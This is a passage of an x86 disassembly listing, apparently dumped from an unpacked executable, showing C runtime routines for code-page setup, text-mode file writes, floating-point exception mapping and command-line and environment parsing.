byte_4CEF01[eax], dl inc eax cmp eax, edi jbe short loc_41EA14 loc_41EA1F: ; CODE XREF: sub_41E92D+DCj inc ecx inc ecx cmp byte ptr [ecx], 0 jnz short loc_41E9FA loc_41EA26: ; CODE XREF: sub_41E92D+CBj ; sub_41E92D+D2j inc [ebp+var_4] add ebx, 8 cmp [ebp+var_4], 4 jb short loc_41E9F3 mov eax, [ebp+arg_0] mov dword_4CEDFC, 1 push eax mov dword_4CEDE4, eax call sub_41EB10 lea esi, dword_436014[esi] mov edi, offset dword_4CEDF0 movsd movsd pop ecx mov dword_4CF004, eax movsd jmp short loc_41EAB5 ; --------------------------------------------------------------------------- loc_41EA60: ; CODE XREF: sub_41E92D+9Aj inc ecx inc ecx cmp byte ptr [ecx-1], 0 jnz loc_41E9B4 loc_41EA6C: ; CODE XREF: sub_41E92D+7Ej ; sub_41E92D+8Bj push 1 pop eax loc_41EA6F: ; CODE XREF: sub_41E92D+14Fj or byte_4CEF01[eax], 8 inc eax cmp eax, 0FFh jb short loc_41EA6F push esi call sub_41EB10 pop ecx mov dword_4CF004, eax mov dword_4CEDFC, 1 jmp short loc_41EA9C ; --------------------------------------------------------------------------- loc_41EA96: ; CODE XREF: sub_41E92D+74j mov dword_4CEDFC, ebx loc_41EA9C: ; CODE XREF: sub_41E92D+167j xor eax, eax mov edi, offset dword_4CEDF0 stosd stosd stosd jmp short loc_41EAB5 ; --------------------------------------------------------------------------- loc_41EAA8: ; CODE XREF: sub_41E92D+51j cmp dword_4CDA64, ebx jz short loc_41EABE loc_41EAB0: ; CODE XREF: sub_41E92D+27j call sub_41EB43 loc_41EAB5: ; CODE XREF: sub_41E92D+131j ; sub_41E92D+179j call sub_41EB6C loc_41EABA: ; CODE XREF: sub_41E92D+1Dj xor eax, eax jmp short loc_41EAC1 ; --------------------------------------------------------------------------- loc_41EABE: ; CODE XREF: sub_41E92D+181j or eax, 0FFFFFFFFh loc_41EAC1: ; CODE XREF: sub_41E92D+18Fj pop edi pop esi pop ebx leave retn sub_41E92D endp ; =============== S U B R O U T I N E ======================================= sub_41EAC6 proc near ; CODE XREF: sub_41E92D+Cp arg_0 = dword ptr 4 mov eax, [esp+arg_0] and dword_4CDA64, 0 cmp eax, 0FFFFFFFEh jnz short loc_41EAE6 mov dword_4CDA64, 1 jmp near ptr 26102DDh ; --------------------------------------------------------------------------- db 0C7h ; --------------------------------------------------------------------------- loc_41EAE6: ; CODE XREF: sub_41EAC6+Ej cmp eax, 0FFFFFFFDh jnz short loc_41EAFB mov dword_4CDA64, 1 jmp near ptr 28717FEh ; --------------------------------------------------------------------------- inc ecx loc_41EAFB: ; CODE XREF: sub_41EAC6+23j cmp eax, 0FFFFFFFCh jnz short locret_41EB0F mov eax, dword_4CDA58 mov dword_4CDA64, 1 locret_41EB0F: ; CODE XREF: sub_41EAC6+38j retn sub_41EAC6 endp ; =============== S U B R O U T I N E ======================================= sub_41EB10 proc near ; CODE XREF: sub_41E92D+118p ; sub_41E92D+152p arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub eax, 3A4h jz short loc_41EB3D sub eax, 4 jz short loc_41EB37 sub eax, 0Dh jz short loc_41EB31 dec eax jz short loc_41EB2B xor eax, eax retn ; --------------------------------------------------------------------------- loc_41EB2B: ; CODE XREF: sub_41EB10+16j mov eax, 404h retn ; --------------------------------------------------------------------------- loc_41EB31: ; CODE XREF: sub_41EB10+13j mov eax, 412h retn ; --------------------------------------------------------------------------- loc_41EB37: ; CODE XREF: sub_41EB10+Ej mov eax, 804h retn ; --------------------------------------------------------------------------- loc_41EB3D: ; CODE XREF: sub_41EB10+9j mov eax, 411h retn sub_41EB10 endp ; =============== S U B R O U T I N E ======================================= sub_41EB43 proc near ; CODE XREF: sub_41E92D:loc_41EAB0p push edi push 40h pop ecx xor eax, eax mov edi, offset byte_4CEF00 rep stosd stosb xor eax, eax mov edi, offset dword_4CEDF0 mov dword_4CEDE4, eax mov dword_4CEDFC, eax mov dword_4CF004, eax stosd stosd stosd pop edi retn sub_41EB43 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EB6C proc near ; CODE XREF: sub_41E92D:loc_41EAB5p var_514 = byte ptr -514h var_314 = byte ptr -314h var_214 = byte ptr -214h var_114 = byte ptr -114h var_14 = byte ptr -14h var_E = byte ptr -0Eh var_D = byte ptr -0Dh push ebp mov ebp, esp sub esp, 514h lea eax, [ebp+var_14] push esi push eax push dword_4CEDE4 nop call near ptr 2871132h cmp eax, 1 jnz loc_41ECA5 xor eax, eax mov esi, 100h loc_41EB96: ; CODE XREF: sub_41EB6C+34j mov [ebp+eax+var_114], al inc eax cmp eax, esi jb short loc_41EB96 mov al, [ebp+var_E] mov [ebp+var_114], 20h test al, al jz short loc_41EBE7 push ebx push edi lea edx, [ebp+var_D] loc_41EBB5: ; CODE XREF: sub_41EB6C+77j movzx ecx, byte ptr [edx] movzx eax, al cmp eax, ecx ja short loc_41EBDC sub ecx, eax lea edi, [ebp+eax+var_114] inc ecx mov eax, 20202020h mov ebx, ecx shr ecx, 2 rep stosd mov ecx, ebx and ecx, 3 rep stosb loc_41EBDC: ; CODE XREF: sub_41EB6C+51j inc edx inc edx mov al, [edx-1] test al, al jnz short loc_41EBB5 pop edi pop ebx loc_41EBE7: ; CODE XREF: sub_41EB6C+42j push 0 lea eax, [ebp+var_514] push dword_4CF004 push dword_4CEDE4 push eax lea eax, [ebp+var_114] push esi push eax push 1 call sub_41FB63 push 0 lea eax, [ebp+var_214] push dword_4CEDE4 push esi push eax lea eax, [ebp+var_114] push esi push eax push esi push dword_4CF004 call sub_41E709 push 0 lea eax, [ebp+var_314] push dword_4CEDE4 push esi push eax lea eax, [ebp+var_114] push esi push eax push 200h push dword_4CF004 call sub_41E709 add esp, 5Ch xor eax, eax lea ecx, [ebp+var_514] loc_41EC62: ; CODE XREF: sub_41EB6C+135j mov dx, [ecx] test dl, 1 jz short loc_41EC80 or byte_4CEF01[eax], 10h mov dl, [ebp+eax+var_214] loc_41EC78: ; CODE XREF: sub_41EB6C+127j mov byte_4CEE00[eax], dl jmp short loc_41EC9C ; --------------------------------------------------------------------------- loc_41EC80: ; CODE XREF: sub_41EB6C+FCj test dl, 2 jz short loc_41EC95 or byte_4CEF01[eax], 20h mov dl, [ebp+eax+var_314] jmp short loc_41EC78 ; --------------------------------------------------------------------------- loc_41EC95: ; CODE XREF: sub_41EB6C+117j and byte_4CEE00[eax], 0 loc_41EC9C: ; CODE XREF: sub_41EB6C+112j inc eax inc ecx inc ecx cmp eax, esi jb short loc_41EC62 jmp short loc_41ECEE ; --------------------------------------------------------------------------- loc_41ECA5: ; CODE XREF: sub_41EB6C+1Dj xor eax, eax mov esi, 100h loc_41ECAC: ; CODE XREF: sub_41EB6C+180j cmp eax, 41h jb short loc_41ECCA cmp eax, 5Ah ja short loc_41ECCA or byte_4CEF01[eax], 10h mov cl, al add cl, 20h loc_41ECC2: ; CODE XREF: sub_41EB6C+174j mov byte_4CEE00[eax], cl jmp short loc_41ECE9 ; --------------------------------------------------------------------------- loc_41ECCA: ; CODE XREF: sub_41EB6C+143j ; sub_41EB6C+148j cmp eax, 61h jb short loc_41ECE2 cmp eax, 7Ah ja short loc_41ECE2 or byte_4CEF01[eax], 20h mov cl, al sub cl, 20h jmp short loc_41ECC2 ; --------------------------------------------------------------------------- loc_41ECE2: ; CODE XREF: sub_41EB6C+161j ; sub_41EB6C+166j and byte_4CEE00[eax], 0 loc_41ECE9: ; CODE XREF: sub_41EB6C+15Cj inc eax cmp eax, esi jb short loc_41ECAC loc_41ECEE: ; CODE XREF: sub_41EB6C+137j pop esi leave retn sub_41EB6C endp ; =============== S U B R O U T I N E ======================================= sub_41ECF1 proc near ; CODE XREF: ___:0041F138p ; ___:0041F194p ... cmp dword_4CF034, 0 jnz short locret_41ED0C push 0FFFFFFFDh call sub_41E92D pop ecx mov dword_4CF034, 1 locret_41ED0C: ; CODE XREF: sub_41ECF1+7j retn sub_41ECF1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ED0D proc near ; CODE XREF: sub_4192B8+2Bp ; sub_4192B8+A6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp dword_4CEDFC, 0 push edi mov edi, [ebp+arg_0] mov [ebp+arg_0], edi jnz short loc_41ED31 push [ebp+arg_8] push [ebp+arg_4] push edi call sub_418C10 add esp, 0Ch jmp short loc_41ED94 ; --------------------------------------------------------------------------- loc_41ED31: ; CODE XREF: sub_41ED0D+11j mov edx, [ebp+arg_8] push esi test edx, edx jz short loc_41ED76 mov ecx, [ebp+arg_4] loc_41ED3C: ; CODE XREF: sub_41ED0D+5Bj mov al, [ecx] dec edx movzx esi, al test byte_4CEF01[esi], 4 mov [edi], al jz short loc_41ED60 inc edi inc ecx test edx, edx jz short loc_41ED6C mov al, [ecx] dec edx mov [edi], al inc edi inc ecx test al, al jz short loc_41ED72 jmp short loc_41ED66 ; --------------------------------------------------------------------------- loc_41ED60: ; CODE XREF: sub_41ED0D+3Ej inc edi inc ecx test al, al jz short loc_41ED76 loc_41ED66: ; CODE XREF: sub_41ED0D+51j test edx, edx jnz short loc_41ED3C jmp short loc_41ED76 ; --------------------------------------------------------------------------- loc_41ED6C: ; CODE XREF: sub_41ED0D+44j and byte ptr [edi-1], 0 jmp short loc_41ED76 ; --------------------------------------------------------------------------- loc_41ED72: ; CODE XREF: sub_41ED0D+4Fj and byte ptr [edi-2], 0 loc_41ED76: ; CODE XREF: sub_41ED0D+2Aj ; sub_41ED0D+57j ... mov eax, edx dec edx test eax, eax pop esi jz short loc_41ED91 lea ecx, [edx+1] xor eax, eax mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb loc_41ED91: ; CODE XREF: sub_41ED0D+6Fj mov eax, [ebp+arg_0] loc_41ED94: ; CODE XREF: sub_41ED0D+22j pop edi pop ebp retn sub_41ED0D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ED97 proc near ; CODE XREF: sub_4196EF+A2p ; sub_419D23+95p ... var_414 = byte ptr -414h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 414h mov ecx, [ebp+arg_0] push ebx cmp ecx, dword_4CEDE0 push esi push edi jnb loc_41EF2B mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea ebx, ds:4CECE0h[eax*4] shl esi, 3 mov eax, [ebx] mov al, [eax+esi+4] test al, 1 jz loc_41EF2B xor edi, edi cmp [ebp+arg_8], edi mov [ebp+var_8], edi mov [ebp+var_10], edi jnz short loc_41EDE8 loc_41EDE1: ; CODE XREF: sub_41ED97+177j xor eax, eax jmp loc_41EF3F ; --------------------------------------------------------------------------- loc_41EDE8: ; CODE XREF: sub_41ED97+48j test al, 20h jz short loc_41EDF8 push 2 push edi push ecx call sub_41E517 add esp, 0Ch loc_41EDF8: ; CODE XREF: sub_41ED97+53j mov eax, [ebx] add eax, esi test byte ptr [eax+4], 80h jz loc_41EEC7 mov eax, [ebp+arg_4] cmp [ebp+arg_8], edi mov [ebp+var_4], eax mov [ebp+arg_0], edi jbe loc_41EEFF loc_41EE18: ; CODE XREF: sub_41ED97+F5j lea eax, [ebp+var_414] loc_41EE1E: ; CODE XREF: sub_41ED97+B9j mov ecx, [ebp+var_4] sub ecx, [ebp+arg_4] cmp ecx, [ebp+arg_8] jnb short loc_41EE52 mov ecx, [ebp+var_4] inc [ebp+var_4] mov cl, [ecx] cmp cl, 0Ah jnz short loc_41EE3D inc [ebp+var_10] mov byte ptr [eax], 0Dh inc eax loc_41EE3D: ; CODE XREF: sub_41ED97+9Dj mov [eax], cl inc eax mov ecx, eax lea edx, [ebp+var_414] sub ecx, edx cmp ecx, 400h jl short loc_41EE1E loc_41EE52: ; CODE XREF: sub_41ED97+90j mov edi, eax lea eax, [ebp+var_414] sub edi, eax lea eax, [ebp+var_C] push 0 push eax lea eax, [ebp+var_414] push edi push eax mov eax, [ebx] push dword ptr [eax+esi] nop call near ptr 2640000h test eax, eax jz short loc_41EEBC mov eax, [ebp+var_C] add [ebp+var_8], eax cmp eax, edi jl short loc_41EE8E mov eax, [ebp+var_4] sub eax, [ebp+arg_4] cmp eax, [ebp+arg_8] jb short loc_41EE18 loc_41EE8E: ; CODE XREF: sub_41ED97+EAj ; sub_41ED97+12Ej xor edi, edi loc_41EE90: ; CODE XREF: sub_41ED97+150j ; sub_41ED97+15Bj mov eax, [ebp+var_8] cmp eax, edi jnz loc_41EF26 cmp [ebp+arg_0], edi jz short loc_41EEFF push 5 pop eax cmp [ebp+arg_0], eax jnz short loc_41EEF4 mov dword_4CD9B4, 9 mov dword_4CD9B8, eax jmp loc_41EF3C ; --------------------------------------------------------------------------- loc_41EEBC: ; CODE XREF: sub_41ED97+E0j nop call near ptr 2650C0Ah mov [ebp+arg_0], eax jmp short loc_41EE8E ; --------------------------------------------------------------------------- loc_41EEC7: ; CODE XREF: sub_41ED97+69j lea ecx, [ebp+var_C] push edi push ecx push [ebp+arg_8] push [ebp+arg_4] push dword ptr [eax] nop call near ptr 2640000h test eax, eax jz short loc_41EEE9 mov eax, [ebp+var_C] mov [ebp+arg_0], edi mov [ebp+var_8], eax jmp short loc_41EE90 ; --------------------------------------------------------------------------- loc_41EEE9: ; CODE XREF: sub_41ED97+145j call near ptr 2650C0Ah nop mov [ebp+arg_0], eax jmp short loc_41EE90 ; --------------------------------------------------------------------------- loc_41EEF4: ; CODE XREF: sub_41ED97+10Fj push [ebp+arg_0] call sub_41EF44 pop ecx jmp short loc_41EF3C ; --------------------------------------------------------------------------- loc_41EEFF: ; CODE XREF: sub_41ED97+7Bj ; sub_41ED97+107j mov eax, [ebx] test byte ptr [eax+esi+4], 40h jz short loc_41EF14 mov eax, [ebp+arg_4] cmp byte ptr [eax], 1Ah jz loc_41EDE1 loc_41EF14: ; CODE XREF: sub_41ED97+16Fj mov dword_4CD9B4, 1Ch mov dword_4CD9B8, edi jmp short loc_41EF3C ; --------------------------------------------------------------------------- loc_41EF26: ; CODE XREF: sub_41ED97+FEj sub eax, [ebp+var_10] jmp short loc_41EF3F ; --------------------------------------------------------------------------- loc_41EF2B: ; CODE XREF: sub_41ED97+15j ; sub_41ED97+37j and dword_4CD9B8, 0 mov dword_4CD9B4, 9 loc_41EF3C: ; CODE XREF: sub_41ED97+120j ; sub_41ED97+166j ... or eax, 0FFFFFFFFh loc_41EF3F: ; CODE XREF: sub_41ED97+4Cj ; sub_41ED97+192j pop edi pop esi pop ebx leave retn sub_41ED97 endp ; =============== S U B R O U T I N E ======================================= sub_41EF44 proc near ; CODE XREF: sub_4197F9+16p ; sub_419BBA+1Dp ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] xor edx, edx mov dword_4CD9B8, ecx mov eax, offset dword_436100 loc_41EF55: ; CODE XREF: sub_41EF44+1Ej cmp ecx, [eax] jz short loc_41EF79 add eax, 8 inc edx cmp eax, offset dword_436268 jl short loc_41EF55 cmp ecx, 13h jb short loc_41EF86 cmp ecx, 24h ja short loc_41EF86 mov dword_4CD9B4, 0Dh retn ; --------------------------------------------------------------------------- loc_41EF79: ; CODE XREF: sub_41EF44+13j mov eax, dword_436104[edx*8] mov dword_4CD9B4, eax retn ; --------------------------------------------------------------------------- loc_41EF86: ; CODE XREF: sub_41EF44+23j ; sub_41EF44+28j cmp ecx, 0BCh jb short loc_41EFA0 cmp ecx, 0CAh mov dword_4CD9B4, 8 jbe short locret_41EFAA loc_41EFA0: ; CODE XREF: sub_41EF44+48j mov dword_4CD9B4, 16h locret_41EFAA: ; CODE XREF: sub_41EF44+5Aj retn sub_41EF44 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push dword ptr [ebp+8] call sub_41F0EC test eax, eax pop ecx jz loc_41F0E0 mov ebx, [eax+8] test ebx, ebx jz loc_41F0E0 cmp ebx, 5 jnz short loc_41EFDC and dword ptr [eax+8], 0 push 1 pop eax jmp loc_41F0E9 ; --------------------------------------------------------------------------- loc_41EFDC: ; CODE XREF: ___:0041EFCEj cmp ebx, 1 jz loc_41F0DB mov ecx, dword_4CDA68 mov [ebp+8], ecx mov ecx, [ebp+0Ch] mov dword_4CDA68, ecx mov ecx, [eax+4] cmp ecx, 8 jnz loc_41F0CB mov ecx, dword_4362E0 mov edx, dword_4362E4 add edx, ecx push esi cmp ecx, edx jge short loc_41F02B lea esi, [ecx+ecx*2] sub edx, ecx lea esi, ds:436270h[esi*4] loc_41F022: ; CODE XREF: ___:0041F029j and dword ptr [esi], 0 add esi, 0Ch dec edx jnz short loc_41F022 loc_41F02B: ; CODE XREF: ___:0041F014j mov eax, [eax] mov esi, dword_4362EC cmp eax, 0C000008Eh jnz short loc_41F046 mov dword_4362EC, 83h jmp short loc_41F0B6 ; --------------------------------------------------------------------------- loc_41F046: ; CODE XREF: ___:0041F038j cmp eax, 0C0000090h jnz short loc_41F059 mov dword_4362EC, 81h jmp short loc_41F0B6 ; --------------------------------------------------------------------------- loc_41F059: ; CODE XREF: ___:0041F04Bj cmp eax, 0C0000091h jnz short loc_41F06C mov dword_4362EC, 84h jmp short loc_41F0B6 ; --------------------------------------------------------------------------- loc_41F06C: ; CODE XREF: ___:0041F05Ej cmp eax, 0C0000093h jnz short loc_41F07F mov dword_4362EC, 85h jmp short loc_41F0B6 ; --------------------------------------------------------------------------- loc_41F07F: ; CODE XREF: ___:0041F071j cmp eax, 0C000008Dh jnz short loc_41F092 mov dword_4362EC, 82h jmp short loc_41F0B6 ; --------------------------------------------------------------------------- loc_41F092: ; CODE XREF: ___:0041F084j cmp eax, 0C000008Fh jnz short loc_41F0A5 mov dword_4362EC, 86h jmp short loc_41F0B6 ; --------------------------------------------------------------------------- loc_41F0A5: ; CODE XREF: ___:0041F097j cmp eax, 0C0000092h jnz short loc_41F0B6 mov dword_4362EC, 8Ah loc_41F0B6: ; CODE XREF: ___:0041F044j ; ___:0041F057j ... push dword_4362EC push 8 call ebx pop ecx mov dword_4362EC, esi pop ecx pop esi jmp short loc_41F0D3 ; --------------------------------------------------------------------------- loc_41F0CB: ; CODE XREF: ___:0041EFFDj and dword ptr [eax+8], 0 push ecx call ebx pop ecx loc_41F0D3: ; CODE XREF: ___:0041F0C9j mov eax, [ebp+8] mov dword_4CDA68, eax loc_41F0DB: ; CODE XREF: ___:0041EFDFj or eax, 0FFFFFFFFh jmp short loc_41F0E9 ; --------------------------------------------------------------------------- loc_41F0E0: ; CODE XREF: ___:0041EFBAj ; ___:0041EFC5j push dword ptr [ebp+0Ch] nop call near ptr 2610000h loc_41F0E9: ; CODE XREF: ___:0041EFD7j ; ___:0041F0DEj pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_41F0EC proc near ; CODE XREF: ___:0041EFB2p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_4362E8 cmp dword_436268, edx push esi mov eax, offset dword_436268 jz short loc_41F119 lea esi, [ecx+ecx*2] lea esi, ds:436268h[esi*4] loc_41F10E: ; CODE XREF: sub_41F0EC+2Bj add eax, 0Ch cmp eax, esi jnb short loc_41F119 cmp [eax], edx jnz short loc_41F10E loc_41F119: ; CODE XREF: sub_41F0EC+16j ; sub_41F0EC+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:436268h[ecx*4] cmp eax, ecx jnb short loc_41F12C cmp [eax], edx jz short locret_41F12E loc_41F12C: ; CODE XREF: sub_41F0EC+3Aj xor eax, eax locret_41F12E: ; CODE XREF: sub_41F0EC+3Ej retn sub_41F0EC endp ; --------------------------------------------------------------------------- cmp dword_4CF034, 0 jnz short loc_41F13D call sub_41ECF1 loc_41F13D: ; CODE XREF: ___:0041F136j push esi mov esi, dword_4CF02C mov al, [esi] cmp al, 22h jnz short loc_41F16F loc_41F14A: ; CODE XREF: ___:0041F162j ; ___:0041F165j mov al, [esi+1] inc esi cmp al, 22h jz short loc_41F167 test al, al jz short loc_41F167 movzx eax, al push eax call sub_42101D test eax, eax pop ecx jz short loc_41F14A inc esi jmp short loc_41F14A ; --------------------------------------------------------------------------- loc_41F167: ; CODE XREF: ___:0041F150j ; ___:0041F154j cmp byte ptr [esi], 22h jnz short loc_41F179 loc_41F16C: ; CODE XREF: ___:0041F181j inc esi jmp short loc_41F179 ; --------------------------------------------------------------------------- loc_41F16F: ; CODE XREF: ___:0041F148j cmp al, 20h jbe short loc_41F179 loc_41F173: ; CODE XREF: ___:0041F177j inc esi cmp byte ptr [esi], 20h ja short loc_41F173 loc_41F179: ; CODE XREF: ___:0041F16Aj ; ___:0041F16Dj ... mov al, [esi] test al, al jz short loc_41F183 cmp al, 20h jbe short loc_41F16C loc_41F183: ; CODE XREF: ___:0041F17Dj mov eax, esi pop esi retn ; --------------------------------------------------------------------------- push ebx xor ebx, ebx cmp dword_4CF034, ebx push esi push edi jnz short loc_41F199 call sub_41ECF1 loc_41F199: ; CODE XREF: ___:0041F192j mov esi, dword_4CDA00 xor edi, edi loc_41F1A1: ; CODE XREF: ___:0041F1B7j mov al, [esi] cmp al, bl jz short loc_41F1B9 cmp al, 3Dh jz short loc_41F1AC inc edi loc_41F1AC: ; CODE XREF: ___:0041F1A9j push esi call sub_417AB0 pop ecx lea esi, [esi+eax+1] jmp short loc_41F1A1 ; --------------------------------------------------------------------------- loc_41F1B9: ; CODE XREF: ___:0041F1A5j lea eax, ds:4[edi*4] push eax call sub_417B89 mov esi, eax pop ecx cmp esi, ebx mov dword_4CD9DC, esi jnz short loc_41F1DB push 9 call sub_419CDA pop ecx loc_41F1DB: ; CODE XREF: ___:0041F1D1j mov edi, dword_4CDA00 cmp [edi], bl jz short loc_41F21E push ebp loc_41F1E6: ; CODE XREF: ___:0041F21Bj push edi call sub_417AB0 mov ebp, eax pop ecx inc ebp cmp byte ptr [edi], 3Dh jz short loc_41F217 push ebp call sub_417B89 cmp eax, ebx pop ecx mov [esi], eax jnz short loc_41F20A push 9 call sub_419CDA pop ecx loc_41F20A: ; CODE XREF: ___:0041F200j push edi push dword ptr [esi] call sub_4179C0 pop ecx add esi, 4 pop ecx loc_41F217: ; CODE XREF: ___:0041F1F3j add edi, ebp cmp [edi], bl jnz short loc_41F1E6 pop ebp loc_41F21E: ; CODE XREF: ___:0041F1E3j push dword_4CDA00 call sub_417C3B pop ecx mov dword_4CDA00, ebx mov [esi], ebx pop edi pop esi mov dword_4CF030, 1 pop ebx retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp dword_4CF034, ebx push esi push edi jnz short loc_41F257 call sub_41ECF1 loc_41F257: ; CODE XREF: ___:0041F250j mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" push 104h push esi push ebx nop call near ptr 2660000h mov eax, dword_4CF02C mov off_4CD9EC, esi mov edi, esi cmp [eax], bl jz short loc_41F27C mov edi, eax loc_41F27C: ; CODE XREF: ___:0041F278j lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax push ebx push ebx push edi call sub_41F2D9 mov eax, [ebp-8] mov ecx, [ebp-4] lea eax, [eax+ecx*4] push eax call sub_417B89 mov esi, eax add esp, 18h cmp esi, ebx jnz short loc_41F2AC push 8 call sub_419CDA pop ecx loc_41F2AC: ; CODE XREF: ___:0041F2A2j lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax mov eax, [ebp-4] lea eax, [esi+eax*4] push eax push esi push edi call sub_41F2D9 mov eax, [ebp-4] add esp, 14h dec eax mov dword_4CD9D4, esi pop edi pop esi mov dword_4CD9D0, eax pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F2D9 proc near ; CODE XREF: ___:0041F287p ; ___:0041F2BDp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp mov ecx, [ebp+arg_10] mov eax, [ebp+arg_C] push ebx push esi and dword ptr [ecx], 0 mov esi, [ebp+arg_8] push edi mov edi, [ebp+arg_4] mov dword ptr [eax], 1 mov eax, [ebp+arg_0] test edi, edi jz short loc_41F303 mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_41F303: ; CODE XREF: sub_41F2D9+20j cmp byte ptr [eax], 22h jnz short loc_41F34C loc_41F308: ; CODE XREF: sub_41F2D9+58j ; sub_41F2D9+5Fj mov dl, [eax+1] inc eax cmp dl, 22h jz short loc_41F33A test dl, dl jz short loc_41F33A movzx edx, dl test byte_4CEF01[edx], 4 jz short loc_41F32D inc dword ptr [ecx] test esi, esi jz short loc_41F32D mov dl, [eax] mov [esi], dl inc esi inc eax loc_41F32D: ; CODE XREF: sub_41F2D9+46j ; sub_41F2D9+4Cj inc dword ptr [ecx] test esi, esi jz short loc_41F308 mov dl, [eax] mov [esi], dl inc esi jmp short loc_41F308 ; --------------------------------------------------------------------------- loc_41F33A: ; CODE XREF: sub_41F2D9+36j ; sub_41F2D9+3Aj inc dword ptr [ecx] test esi, esi jz short loc_41F344 and byte ptr [esi], 0 inc esi loc_41F344: ; CODE XREF: sub_41F2D9+65j cmp byte ptr [eax], 22h jnz short loc_41F38F inc eax jmp short loc_41F38F ; --------------------------------------------------------------------------- loc_41F34C: ; CODE XREF: sub_41F2D9+2Dj ; sub_41F2D9+A5j inc dword ptr [ecx] test esi, esi jz short loc_41F357 mov dl, [eax] mov [esi], dl inc esi loc_41F357: ; CODE XREF: sub_41F2D9+77j mov dl, [eax] inc eax movzx ebx, dl test byte_4CEF01[ebx], 4 jz short loc_41F372 inc dword ptr [ecx] test esi, esi jz short loc_41F371 mov bl, [eax] mov [esi], bl inc esi loc_41F371: ; CODE XREF: sub_41F2D9+91j inc eax loc_41F372: ; CODE XREF: sub_41F2D9+8Bj cmp dl, 20h jz short loc_41F380 test dl, dl jz short loc_41F384 cmp dl, 9 jnz short loc_41F34C loc_41F380: ; CODE XREF: sub_41F2D9+9Cj test dl, dl jnz short loc_41F387 loc_41F384: ; CODE XREF: sub_41F2D9+A0j dec eax jmp short loc_41F38F ; --------------------------------------------------------------------------- loc_41F387: ; CODE XREF: sub_41F2D9+A9j test esi, esi jz short loc_41F38F and byte ptr [esi-1], 0 loc_41F38F: ; CODE XREF: sub_41F2D9+6Ej ; sub_41F2D9+71j ... and [ebp+arg_10], 0 loc_41F393: ; CODE XREF: sub_41F2D9+19Ej cmp byte ptr [eax], 0 jz loc_41F47C loc_41F39C: ; CODE XREF: sub_41F2D9+D0j mov dl, [eax] cmp dl, 20h jz short loc_41F3A8 cmp dl, 9 jnz short loc_41F3AB loc_41F3A8: ; CODE XREF: sub_41F2D9+C8j inc eax jmp short loc_41F39C ; --------------------------------------------------------------------------- loc_41F3AB: ; CODE XREF: sub_41F2D9+CDj cmp byte ptr [eax], 0 jz loc_41F47C test edi, edi jz short loc_41F3C0 mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_41F3C0: ; CODE XREF: sub_41F2D9+DDj mov edx, [ebp+arg_C] inc dword ptr [edx] loc_41F3C5: ; CODE XREF: sub_41F2D9+18Fj mov [ebp+arg_0], 1 xor ebx, ebx loc_41F3CE: ; CODE XREF: sub_41F2D9+FCj cmp byte ptr [eax], 5Ch jnz short loc_41F3D7 inc eax inc ebx jmp short loc_41F3CE ; --------------------------------------------------------------------------- loc_41F3D7: ; CODE XREF: sub_41F2D9+F8j cmp byte ptr [eax], 22h jnz short loc_41F408 test bl, 1 jnz short loc_41F406 xor edi, edi cmp [ebp+arg_10], edi jz short loc_41F3F5 cmp byte ptr [eax+1], 22h lea edx, [eax+1] jnz short loc_41F3F5 mov eax, edx jmp short loc_41F3F8 ; --------------------------------------------------------------------------- loc_41F3F5: ; CODE XREF: sub_41F2D9+10Dj ; sub_41F2D9+116j mov [ebp+arg_0], edi loc_41F3F8: ; CODE XREF: sub_41F2D9+11Aj mov edi, [ebp+arg_4] xor edx, edx cmp [ebp+arg_10], edx setz dl mov [ebp+arg_10], edx loc_41F406: ; CODE XREF: sub_41F2D9+106j shr ebx, 1 loc_41F408: ; CODE XREF: sub_41F2D9+101j mov edx, ebx dec ebx test edx, edx jz short loc_41F41D inc ebx loc_41F410: ; CODE XREF: sub_41F2D9+142j test esi, esi jz short loc_41F418 mov byte ptr [esi], 5Ch inc esi loc_41F418: ; CODE XREF: sub_41F2D9+139j inc dword ptr [ecx] dec ebx jnz short loc_41F410 loc_41F41D: ; CODE XREF: sub_41F2D9+134j mov dl, [eax] test dl, dl jz short loc_41F46D cmp [ebp+arg_10], 0 jnz short loc_41F433 cmp dl, 20h jz short loc_41F46D cmp dl, 9 jz short loc_41F46D loc_41F433: ; CODE XREF: sub_41F2D9+14Ej cmp [ebp+arg_0], 0 jz short loc_41F467 test esi, esi jz short loc_41F456 movzx ebx, dl test byte_4CEF01[ebx], 4 jz short loc_41F44F mov [esi], dl inc esi inc eax inc dword ptr [ecx] loc_41F44F: ; CODE XREF: sub_41F2D9+16Ej mov dl, [eax] mov [esi], dl inc esi jmp short loc_41F465 ; --------------------------------------------------------------------------- loc_41F456: ; CODE XREF: sub_41F2D9+162j movzx edx, dl test byte_4CEF01[edx], 4 jz short loc_41F465 inc eax inc dword ptr [ecx] loc_41F465: ; CODE XREF: sub_41F2D9+17Bj ; sub_41F2D9+187j inc dword ptr [ecx] loc_41F467: ; CODE XREF: sub_41F2D9+15Ej inc eax jmp loc_41F3C5 ; --------------------------------------------------------------------------- loc_41F46D: ; CODE XREF: 